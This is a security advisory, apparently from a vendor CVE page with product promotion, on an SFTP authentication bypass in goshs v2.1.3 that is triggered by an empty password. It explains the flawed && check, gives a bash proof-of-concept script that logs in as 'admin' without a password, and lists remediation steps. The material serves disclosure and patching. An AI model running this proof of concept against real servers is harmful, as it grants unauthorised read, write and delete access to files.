Summary
goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)
Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.
CVE-2026-40884
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.
Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
HasPrefix(":") catches empty username. It does not catch empty password.
Empty Password Bypass
Same && at sftpserver.go:85. Same nil handler. Different input:
goshs -b 'admin:' -sftp
Username = "admin",Password = ""Username != "" && Password != ""→ false. Password is empty.PasswordHandlernot set. No-fkf→PublicKeyHandlernot set.- gliderlabs/ssh →
NoClientAuth = true.
CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
PoC
#!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
Root Cause
// Wrong: &&
if s.Username != "" && s.Password != "" {
// Correct: ||
if s.Username != "" || s.Password != "" {
&& blocks PasswordHandler when either field is empty. || installs it when either field is set.
Incomplete Fix
Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:
&&still atsftpserver.go:85in v2.1.3- No
HasSuffix(":")check for empty password
Affected
All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.
Impact
- Unauthenticated SFTP file access (read, write, delete, rename)
- Same impact as CVE-2026-40884 via a different input
- Exploitable with
-b 'user:'and no-fkf
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
CVE-2026-62325 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
&&→||atsftpserver/sftpserver.go:85HasSuffix(":")check atsanity/checks.go- Shared auth handler setup for HTTP and SFTP code paths
Frequently Asked Questions
- What is CVE-2026-62325? CVE-2026-62325 is a critical-severity missing authentication for critical function vulnerability in github.com/patrickhener/goshs/v2 (go), affecting versions = 2.1.3. It is fixed in 2.1.4. A critical operation is accessible without requiring any authentication.
- How severe is CVE-2026-62325? CVE-2026-62325 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-62325?
github.com/patrickhener/goshs/v2(go) (versions = 2.1.3)goshs.de/goshs/v2(go) (versions = 2.1.3)
- Is there a fix for CVE-2026-62325? Yes. CVE-2026-62325 is fixed in 2.1.4. Upgrade to this version or later.
- Is CVE-2026-62325 exploitable, and should I be worried? Whether CVE-2026-62325 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-62325 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-62325?
- Upgrade
github.com/patrickhener/goshs/v2to 2.1.4 or later - Upgrade
goshs.de/goshs/v2to 2.1.4 or later
- Upgrade